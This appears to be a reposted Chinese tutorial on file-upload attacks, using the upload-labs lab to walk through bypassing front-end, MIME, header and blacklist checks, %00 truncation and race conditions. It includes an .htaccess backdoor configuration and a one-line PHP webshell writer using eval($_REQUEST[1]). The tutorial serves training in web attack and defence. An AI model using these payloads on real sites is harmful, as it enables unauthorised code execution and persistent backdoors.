Web攻防-文件上傳黑白名單MIMEJS前端執行權限編碼解析OSS存儲分域名應用場景

知識點:
1、WEB攻防-文件上傳-前端&黑白名單&MIME&文件頭等
2、WEB攻防-文件上傳-執行權限&解碼還原&云存儲&分站等
3、WEB攻防-文件上傳-JS提取&特定漏洞&第三方編輯器
4、WEB攻防-文件上傳-思維導圖形成

在這里插入圖片描述

常規文件上傳:
1、一定要明白:
文件解析安全問題上,格式解析是一對一的(不能jpg解析php)
換句話來說有解析錯誤配置或后綴解析漏洞時才能實現格式差異解析2、文件上傳安全指的是攻擊者通過利用上傳實現后門的寫入連接后門進行權限控制的安全問題,對于如何確保這類安全問題,一般會從原生態功能中的文件內容,文件后綴,文件類型等方面判斷,但是漏洞可能不僅在本身的代碼驗證邏輯中出現安全問題,也會在語言版本,語言函數,中間件,引用的第三方編輯器等存在缺陷地方配合利用。另外文件上傳也有多個存儲邏輯,不同的文件存儲方案也會給攻擊者帶來不一樣的挑戰!1、無限制
任意上傳,什么文件都能上傳2、有限制:
限制后綴格式(判斷后綴名(黑白名單),MIME類型,文件頭等)應用場景:
1、注冊用戶上傳地方
2、后臺或其他管理頁面
3、源碼泄露或盲測文件
4、JS或API接口的代碼
5、第三方編輯器上傳漏洞
6、特定的源碼審計漏洞

一、演示案例-WEB攻防-文件上傳-前端&黑白名單&MIME&文件頭等

0、測試環境安裝參考

字典:https://github.com/fuzzdb-project/fuzzdb
靶場環境:https://github.com/sqlsec/upload-labs-docker
在這里插入圖片描述
docker安裝
在這里插入圖片描述
下載靶場項目并進入項目文件夾

cd upload-labs-docker

在這里插入圖片描述
一鍵部署運行

docker-compose up -d

在這里插入圖片描述
在這里插入圖片描述

1、前端JS

如何判斷是否是前端驗證呢?
首先抓包監聽,如果上傳文件的時候還沒有抓取到數據包,但是瀏覽器就提示文件類型不正確的話,那么這個多半就是前端校驗了
在這里插入圖片描述
如何繞過?
先上傳一個圖片后綴抓包改成腳本后綴

2、.htaccess(apache獨有的配置文件)

一般上傳用的不多,主要用來留后門
apache中,.htaccess文件可以上傳并執行
這個文件定義了哪些格式文件可以以腳本方式解析

方式一:
.htaccess中寫入:

<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>

然后再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php文件
最好拿到shell之后修改自帶的這個文件,添加上面的那段代碼,就可以留個后門了

方式二:

AddType application/x-httpd-php .png  

在這里插入圖片描述
在這里插入圖片描述

.htaccess文件成功上傳后,這時候再上傳一個png圖片的后門,就可以解析成腳本

3、MIME類型

Content-Type:image/png

在這里插入圖片描述

4、文件頭判斷

GIF89a

在這里插入圖片描述

5、黑名單-過濾不嚴

在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述

無遞歸(只檢測一次,沒循環)
pphphp(因為代碼中是把匹配到的黑名單替換為空)

在這里插入圖片描述

6、黑名單-過濾不嚴(windows中大小寫沒問題,但是在linux上是不能大小寫的,要么全小寫,要么全大寫)

在這里插入圖片描述
系統大小寫敏感屬性
在這里插入圖片描述
在這里插入圖片描述

7、PHP低版本GET-%00截斷

在這里插入圖片描述
在這里插入圖片描述

自動解碼一次
/var/www/html/upload/x.php%00

在這里插入圖片描述
在這里插入圖片描述

8、PHP低版本POST-%00截斷

在這里插入圖片描述

手工解碼一次
../upload/x.php%00 二次解碼

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

9、黑名單-過濾不嚴

php3

在這里插入圖片描述
利用fuzz思路去跑后綴
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

10、邏輯不嚴-條件競爭

在這里插入圖片描述
1.上傳不斷發包
在這里插入圖片描述
2.請求不斷發包
在這里插入圖片描述
3.訪問創建腳本代碼

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

在這里插入圖片描述

11、二次渲染

后端語言會對圖片進行二次渲染,讓圖片更好的呈現出來,但是這樣就會造成一個圖片里插入的腳本代碼丟失的情況,但是需要配合文件包含漏洞,沒啥意義。

1.先搞個正常圖片,上傳圖片后導出渲染后的圖片
在這里插入圖片描述
2.對比保留部分,在保留部分添加后門代碼
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
3.最后利用提示的文件包含執行圖片后門代碼
在這里插入圖片描述

12、函數缺陷

1.使用move_uploaded_file 函數
2.保存的文件名可控

在這里插入圖片描述

1.php/.

在這里插入圖片描述
在這里插入圖片描述

二、演示案例-WEB攻防-文件上傳-應用場景-JS提取&源碼類&編輯器

1、JS或API接口代碼

DEMO

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

真實案例

在這里插入圖片描述
在這里插入圖片描述

2、第三方編輯器上傳漏洞

ueditor漏洞參考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825

DEMO

在這里插入圖片描述
在這里插入圖片描述

真實案例

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

3、特定的源碼漏洞

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

三、演示案例-WEB攻防-文件上傳-實戰遇到的情況-執行權限&解碼還原&分站存儲&OSS存儲

1、執行權限

文件上傳后存儲目錄不給執行權限
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述

繞過條件:能控制上傳文件存儲目錄

2、解碼還原

文件上傳后利用編碼傳輸解碼還原
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

繞過:無法直接繞過

3、分站存儲

upload.xiaodi8.com 上傳

在這里插入圖片描述
在這里插入圖片描述

images.xiaodi8.com 存儲

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

繞過:迂回戰術,上傳腳本到images.xiaodi8.com并控制這個網站,在從images.xiaodi8.com迂回到upload.xiaodi8.com(也就是類似旁站、C段入侵)

4、OSS對象

Access控制-OSS對象存儲-Bucket對象

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

繞過:無法直接繞過

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87465.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87465.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87465.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Odoo系統大型業務優化實戰

目錄 背景說明ORM與模型優化數據量處理策略接口與報表優化系統架構優化監控與診斷工具項目實戰總結&#xff08;案例&#xff09;后續優化建議性能優化檢查清單總結 一、背景說明 在 Odoo 項目中&#xff0c;隨著業務不斷擴展&#xff0c;系統常常面臨如下挑戰&#xff1a; …

【2.4 漫畫SpringBoot實戰】

?? 漫畫SpringBoot實戰 ?? 學習目標:掌握SpringBoot企業級開發,從零到一構建現代化Java應用 ?? 目錄 SpringBoot核心特性自動配置原理Web開發實戰數據訪問與事務監控與部署?? 漫畫引言 小明: “為什么SpringBoot這么受歡迎?” 架構師老王: “SpringBoot就像全自動…

美國站群服務器的優勢和應用與選擇指南

在當今數字化時代&#xff0c;互聯網業務的蓬勃發展促使各類企業和個人不斷尋求高效、穩定且功能強大的網絡解決方案。美國站群服務器作為一種備受矚目的網絡基礎設施&#xff0c;正逐漸成為眾多從事跨境電商、搜索引擎優化&#xff08;SEO&#xff09;、內容分發、數據采集等業…

智能合約基礎:Solidity語法速成

目錄 智能合約基礎:Solidity語法速成引言:區塊鏈的可編程世界1. Solidity基礎語法1.1 合約結構1.2 數據類型2. 核心概念詳解2.1 可見性修飾符2.2 狀態可變性2.3 錯誤處理2.4 事件與日志3. 高級特性3.1 繼承與接口3.2 修飾器3.3 委托調用與代理合約4. 完整DeFi質押合約實現5. …

SmartDV推出先進的H.264和H.265視頻編碼器和解碼器IP

向全球市場提供靈活、高度可配置、可定制的半導體設計知識產權&#xff08;IP&#xff09;和驗證IP&#xff08;VIP&#xff09;的開發商SmartDV? Technologies近日宣布&#xff1a;公司現已提供即刻可用的H.264和H.265視頻編碼器和解碼器IP解決方案。針對每一種技術&#xff…

數據結構學習day8---strstr+symlink+remove+rename+link+truncate

一、strstr 1.頭文件 #include <string.h> 2.函數原型 char *strstr(const char *haystack, const char *needle);3.功能 在一個字符串haystack中查找另一個字符串needle的第一次出現&#xff0c;并返回該位置的指針&#xff0c;如果找不到&#xff0c;則返回NULL。 …

智能設備遠程管理:基于OpenAI風格API的自動化實踐

在數字化轉型的浪潮中&#xff0c;智能設備的遠程管理功能變得越來越重要。通過API接口實現對智能設備的自動化操作&#xff0c;不僅可以提高工作效率&#xff0c;還可以增強系統的靈活性和可擴展性。本文將詳細介紹如何利用Python和openai庫&#xff0c;結合一個類似OpenAI風格…

數字電路工作原理

1、數字電路的分類 2、基本結構和特點 3、電路特性 4、電路互連 5、電路選型基本原則 1、數字電路的分類 GaAs 該電路類型 速度快,功耗大,原料劇毒,至今尚未被大量應用 硅 出現了單極型 PMOS NMOS CMOS 雙極性 TTL STTL、LSTTL、ALSTTL、FTTL、LVTTL ECL MEC…

C# 進行音視頻編解碼開發

一、音視頻編解碼基礎 1.1 基本概念 音視頻編解碼是數字媒體處理的核心技術,主要涉及將原始音視頻數據進行壓縮編碼以便存儲和傳輸,以及將壓縮數據解碼為可播放的原始格式。在 C# 環境下開發音視頻編解碼器,需要先了解幾個關鍵概念: 編碼 (Encoding):將原始音視頻數據轉…

YOLOv11深度解析:Ultralytics新一代目標檢測王者的創新與實踐(附網絡結構圖+訓練/推理/導出全流程代碼詳解)

?? 一、YOLOv11為何成為新標桿? 2024年底,Ultralytics正式推出YOLOv11,在COCO數據集上以更少參數量(減少22%) 實現了超越YOLOv8的精度,成為邊緣設備與云端部署的新寵。其核心創新在于: 輕量化設計:深度可分離卷積(DWConv)大幅降低計算量注意力增強:C2PSA模塊提升…

live server插件vscode的配置

安裝完其實就可以直接使用了&#xff0c;一般來說不必手動配置&#xff0c;點擊右下角的go live按鈕就可以運行。默認端口是5500 好的&#xff0c;為你詳細說明如何在 VS Code 中配置 Live Server 插件。這是一個非常有用的插件&#xff0c;我們不僅會講如何安裝和使用&#x…

基于MATLAB的風力發電機無人機巡檢路徑優化研究

基于MATLAB的風力發電機無人機巡檢路徑優化研究 摘要 本文針對風力發電機無人機巡檢路徑優化問題,提出了一種基于三維參數建模與智能優化算法的解決方案。通過建立風力發電機的三維幾何模型,綜合考慮無人機的飛行約束條件和巡檢任務需求,設計了多目標優化函數,并采用改進…

經緯度哈希編碼實現方式

背景&#xff1a;在大數據數倉建設的過程中&#xff0c;有時會遇到經緯度類型的數據信息&#xff0c;但在進行關聯分析和數倉建設的時候用經緯度去關聯&#xff0c;難免不夠便捷&#xff0c;于是我們可以開發UDF使用地理經緯度信息哈希編碼的方案進行開發&#xff0c;非常有效 …

支持向量機(SVM)深度解析:從數學根基到工程實踐

&#x1f9d1; 博主簡介&#xff1a;CSDN博客專家、CSDN平臺優質創作者&#xff0c;高級開發工程師&#xff0c;數學專業&#xff0c;10年以上C/C, C#, Java等多種編程語言開發經驗&#xff0c;擁有高級工程師證書&#xff1b;擅長C/C、C#等開發語言&#xff0c;熟悉Java常用開…

矩陣的范數和逆矩陣的范數的關系

文章目錄 前提條件關鍵結論推導過程簡述注意事項示例說明&#x1f4d8; 譜范數定義? 步驟一&#xff1a;計算 A T A A^T A ATA? 步驟二&#xff1a;求 A T A A^T A ATA 的特征值? 步驟三&#xff1a;取最大特征值的平方根? 對 A ? 1 A^{-1} A?1 做同樣的操作? 最終結…

成像光譜遙感技術中的AI革命:ChatGPT在遙感領域中的應用

課程將最新的人工智能技術與實際的遙感應用相結合&#xff0c;提供不僅是理論上的&#xff0c;而且是適用和可靠的工具和方法。無論你是經驗豐富的研究人員還是好奇的從業者&#xff0c;本課程都將為分析和解釋遙感數據開辟新的、有效的方法&#xff0c;使你的工作更具影響力和…

Debian12 安裝 sippts

試了試&#xff0c;貌似不復雜&#xff0c;記錄如下&#xff1a; apt-get install -y python3 python3 --version # 3.11.2 apt-get install -y python3-pip pip3 --version # 24.3.1 rm /usr/lib/python3.11/EXTERNALLY-MANAGED cd /usr/src git clone https://github.com/…

VR Panorama 360 PRO Renderer保姆級別教程

總覽: 全景圖及全景視頻錄制插件有兩個 一個是件(以下簡稱VR360插件) 一個是Unity官方的Unity Recorder插件(以下簡稱Recorder插件) 在圖片清晰度上VR 360插件要高于Recorder插件,所以渲染全景圖時,優先使用VR 360插件,當然全景視頻也可以使用VR360插件。 但VR 360插件…

cv610將音頻chn0配置為g711a,chn1配置為 aac編碼,記錄

cv610將音頻chn0配置為g711a,chn1配置為 aac編碼,記錄 工程代碼在文章底部 編譯時放在 sdk的同級目錄 sdk_version: sdk_V010,打了AOV的補丁 aenc可以配置為 chn0=g711a, chn1=aac 設置兩個編碼通道為不同編碼屬性 主要思路為在 ss_mpi_aenc_create_chn時將 chn1配置編碼為…

CAD2018,矩形設計,新增文字,塊新增與打散

一、矩形設計 1.選擇頁面&#xff0c;點擊左鍵&#xff0c;直接輸入【rec】&#xff0c;回車&#xff1b; 2.長按鼠標左鍵&#xff0c;拉出矩形&#xff0c;抬起左鍵。 3. 會生成一個矩形框。 4. ①輸入寬度數值&#xff0c;②輸入逗號切換到高度&#xff0c;③輸入高度。 5.成…